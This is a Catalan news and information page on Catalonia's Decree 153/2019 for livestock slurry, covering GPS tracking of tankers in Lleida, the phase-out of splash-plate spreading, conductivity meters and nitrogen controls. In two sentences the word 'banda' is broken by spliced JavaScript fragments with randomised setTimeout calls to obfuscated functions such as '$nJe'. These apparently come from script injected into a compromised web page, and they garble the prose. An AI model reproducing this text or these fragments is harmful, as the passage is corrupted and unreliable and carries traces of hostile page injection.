La Generalitat ja controla on apliquen purins 190 cisteners equipades amb GPS a Lleida

Són més de la meitat de les que tenen geolocalització a Catalunya. És obligatori per transportar-los a més de 10 quilòmetres, per assegurar una aplicació correcta en cultius i evitar abocaments il·legals

Noticia Diari Segre – Diumenge 26 de setembre R. Ramírez

Cisternes amb GPS

L’aplicació de purins i altres dejeccions ramaderes líquides ja no es pot fer amb vano o ventall

A partir del 21 de febrer del 2021 caldrà utilitzar sistemes d’aplicació localitzada, com ara els tubs penjants o els injectors. Així mateix, totes les cisternes hauran de disposar d’un conductímetre, o altre mètode de precisió equivalent

Els purins i altres dejeccions ramaderes líquides, contenen una elevada proporció de nitrogen en forma amoniacal, cosa que fa que tinguin un elevat risc de perdre’s cap a l’atmosfera. De fet, segons l’inventari d’emissions nacionals, el sector agrari és responsable del 97% de les emissions d’amoníac (NH3), la majoria atribuïdes a la gestió de les dejeccions ramaderes. Gran part d’aquestes emissions es donen durant la seva aplicació al camp, quan les dejeccions s’apliquen amb l’objectiu de fertilitzar els cultius.

El Decret 153/2019, que va entrar en vigor el 25 de juliol de 2019, ja fixava l’eliminació progressiva d’aquests tipus de sistemes d’aplicació tradicionals. La prohibició definitiva del ventall o “vano” es farà efectiva a partir del proper 21 de febrer. D’aquesta manera, es dona pas a sistemes més innovadors d’aplicació localitzada, ja sigui en superfície (mànegues o tubs penjants) com en profunditat (injectors o enterradors). Podeu consultar les empreses que subministren aquest tipus d’equips en aquest enllaç.

Els sistemes d’aplicació localitzada també permeten fertilitzar de manera més uniforme. Per una bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, poden reduir la sobrefertilització que en determinades zones de la parcel·la receptora, i on l’excés de nitrogen es podria rentar i perdre’s en profunditat. Per una altra bandom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}anda, asseguren que no hi hagi zones que rebin menys nitrogen de l’esperat i que podrien donar lloc a baixades de producció.

Aquests equips també es poden instal·lar en les cisternes ja existents i s’han d’inscriure al Registre Oficial de Maquinària Agrícola (ROMA), d’acord amb el que estableix el Reial Decret 1013/2009, de 19 de juny, sobre caracterització i registre de maquinària agrícola.

La utilització d’aquests sistemes alternatius busca incrementar l’eficiència i aconseguir el màxim aprofitament dels nutrients aportats. En general, els purins i la resta de fertilitzants seran més eficients com menys pèrdues tinguin. Reduir el rentat, la volatilització o qualsevol altre tipus de pèrdua farà que una major quantitat de nitrogen que s’aplica al sòl sigui aprofitable per al cultiu.

Cal destacar també que a partir de 21 de febrer, totes les cisternes hauran de disposar d’un conductímetre, o altre mètode de precisió equivalent, que permeti estimar la concentració de nutrients del purí. Haurà d’estar instal·lat de manera permanent a la cisterna. Com a alternativa, es permet instal·lar l’eina a la mateixa instal·lació d’emmagatzematge. Podeu consultar les empreses que subministren aquest tipus d’equips en aquest enllaç.

Font d’informació: Oficina de Fertilització i Tractament de dejeccions ramaderes

La posada en marxa del decret de gestió de les dejeccions ramaderes redueix la instal·lació de granges en zones vulnerables

Amb el desplegament del decret, s’està produint un canvi profund dels sistemes d’aplicació del purí i l’ús del ventall en l’aplicació de purins és cada cop menys freqüent.

Des de juny de 2019, a les zones vulnerables per contaminació de nitrats d’origen agrari, s’ha limitat l’ampliació i la instal·lació de noves granges. Aquest fet és conseqüència de l’entrada en vigor, ara fa un any, del Decret 153/2019 de gestió de les dejeccions ramaderes, que té com a clar objectiu i voluntat redreçar la situació de la contaminació d’aigües subterrànies per nitrats d’origen agrari i assolir una ramaderia i una agricultura sostenibles

En aquest primer any d’aplicació del decret, s’han adoptat un seguit de mesures que actualment s’estan desplegant i que comporten canvis en el sector, molt més enllà dels administratius, que estan tensionant totes les cadenes de la baula i estan produint que tant ramaders i ramaderes com agricultors i agricultores internalitzin els costos mediambientals de les corresponents activitats que realitzen.

En termes més concrets, el Decret representa una forta limitació als creixements de les granges en zones vulnerables (ZV) i una moratòria que no permet incrementar el nombre màxim de caps de bestiar autoritzat a les explotacions ramaderes ubicades a les ZV amb major càrrega ramadera (ICR > 1,2). 

Les mesures del Decret han de permetre assolir un increment molt significatiu de l’eficiència en l’ús dels nutrients (en particular del nitrogen) en tota la cadena productiva i són el camí cap a una fertilització d’excel·lència. 

Així, el sistema administratiu ha fet un gran esforç per atansar-se al més possible a la realitat, i juntament amb el reforçament dels controls, han portat a desplegar un seguit d’eines complexes administrativament, com és la declaració anual de nitrogen (DAN) i la plataforma telemàtica de traçabilitat que permet conèixer quins aplicacions s’estan realitzant a més de 10 km de lloc on s’han generat, i també eines complexes tècnicament, com és el cas del mètode del Balanç de Nitrogen (BNG).

La DAN és un dels elements de control més potents que estableix el Decret. Al  2019 va afectar 10.863 titulars d’explotacions ramaderes i/o agrícoles, mentre que al 2020 ho farà a 40.000 titulars en total, essent obligatori per a tots els ramaders i agricultors que han de registrar en el Llibre de Gestió de Fertilitzants com gestionen les dejeccions i com i quan les apliquen, en funció de quina sigui la seva activitat. El BNG és una eina molt útil per conèixer amb exactitud la quantitat real de N que podem trobar en les dejeccions ramaderes, informació reclamada pel sector durant molt de temps, ja que únicament existia la possibilitat de conèixer-la mitjançant la utilització d’uns coeficients d’excreció força obsolets. Enguany, unes 200 explotacions porcines han emprat aquesta metodologia, que en dos anys acabarà afectant tot el sector porcí (unes 5.500 explotacions) i en tres anys l’aviram. El BNG és també la base per conèixer les emissions de nitrogen i el contingut de fòsfor de tot el sector ramader, fet que obligarà a nous desenvolupaments tècnics i informàtics.

L’assignació del nitrogen de referència (N-ref) a totes les explotacions ramaderes de Catalunya (aprox., 15.000 granges), és una pedra angular de l’arquitectura del Decret, tant per poder gestionar i controlar la quantitat de nitrogen orgànic aplicat en ZV, com per limitar-hi els possibles creixements ramaders. Aquesta assignació suposa un gran impacte al sector agroramader, ja que veuen limitada l’aplicació de nitrogen en zones properes a les seves explotacions i caldrà pensar en altres fórmules per poder exportar nutrients fora de les ZV.

La disposició transitòria 1a del Decret estableix que aquest s’ha de revisar en el termini d’un any des de la propera modificació o l’ampliació de les designacions de ZV. Aquesta ampliació de ZV ha passat ja el tràmit d’informació pública i previsiblement es publicarà cap al mes de novembre.

Així mateix, cal destacar l’ús de la plataforma de traçabilitat del transport de dejeccions ramaderes amb GPS, que permet conèixer les aplicacions a llarga distància (a més de 10 km del seu lloc d’origen) assegurant una correcta gestió amb una traçabilitat real.

En relació als equips d’aplicació, cal assenyalar el canvi profund que s’està produint, on les aplicacions de purí amb ventall són cada cop menys freqüents (a partir de novembre de 2019, cap cisterna de més de 15 m3 no pot aplicar amb ventall). En aquest punt, és necessari adoptar les tecnologies més avançades en maquinària per a l’aplicació de dejeccions, com ara són l’ús de cabalímetres, conductímetres en les cisternes de purins (com a eina d’estimació en temps real de la riquesa de nitrogen dels purins) i aplicadors de mànegues, entre d’altres, que permeten regular els equips d’aplicació en funció de les necessitats d’adobatge del cultiu i de la zona. Això permet ajustar la fertilització evitant males praxis, que podrien acabar provocant un excés de nitrats impossible d’absorbir pel cultiu. 

Les actuacions de control es veuran considerablement millorades a partir de febrer del 2021 i particularment més enllà del febrer 2022, en què ja estarà plenament implementada la DAN. Per part del DARP, es desplegarà un aplicatiu informàtic (DERAN) que permetrà fer el creuament amb la informació existent en altres aplicatius informàtics del Departament d’Agricultura (DAN, GPS, BNG, GTR, DUN) per a realitzar aquelles accions de control sobre la gestió de les dejeccions i els altres fertilitzants nitrogenats que han de comportar una millora substancial. 

Una altra mesura important del Decret és la posada en marxa de la figura dels assessors en fertilització. Aquesta acció té per objectiu que aquelles explotacions agrícoles en què la fertilització té un major impacte disposin d’un assessor que planifiqui amb elles la fertilització.

També properament es publicarà una Ordre d’ajuts a la instal·lació de conductímetres i una altra Ordre per a la contractació de tècnics assessors en fertilització.

En l’àmbit del foment i la transferència, cal destacar especialment el paper bàsic que desenvolupa l’Oficina de Fertilització i Tractament de les Dejeccions Ramaderes. El seu treball se centra en la millora de la gestió de les dejeccions ramaderes a la pròpia explotació ramadera, en el seguiment de l’estat dels sistemes de tractament consolidats, així com dels nous tractaments emergents que van sorgint, en el foment de millores vinculades amb les pràctiques de fertilització dels cultius agrícoles, interaccionant amb agricultors/es i ramaderes/es del territori, participant activament en diversos projectes de recerca internacionals (LIFE AGRICLOSE, H2020-FERTIMANURE)  i oferint orientació i suport al sector sobre aquesta temàtica.

En aquest àmbit, s’han redactat 25 fitxes tècniques relacionades amb les obligacions del Decret 153/2019, s’ha  creat un apartat específic del Decret a la seva pàgina web i s’han organitzat unes 60 jornades arreu del territori català, totes amb un format reduït i similar per informar al màxim ramaders i agricultors, i actualment es continuen organitzant xerrades singulars, webinars o cursos formatius. L’Oficina lidera les tasques d’assessorament en temes de fertilització i, en l’àmbit dels tractaments de dejeccions, actua a través del Grup d’experts en tractaments de dejeccions ramaderes (GETDR), que ha posat al dia els sistemes de tractament i el seu rendiment, possibilitant el desenvolupament de les iniciatives tecnològiques dels nostres emprenedors, i en breu es publicarà una guia de sistemes de tractament.

 

Font d’informació: DARP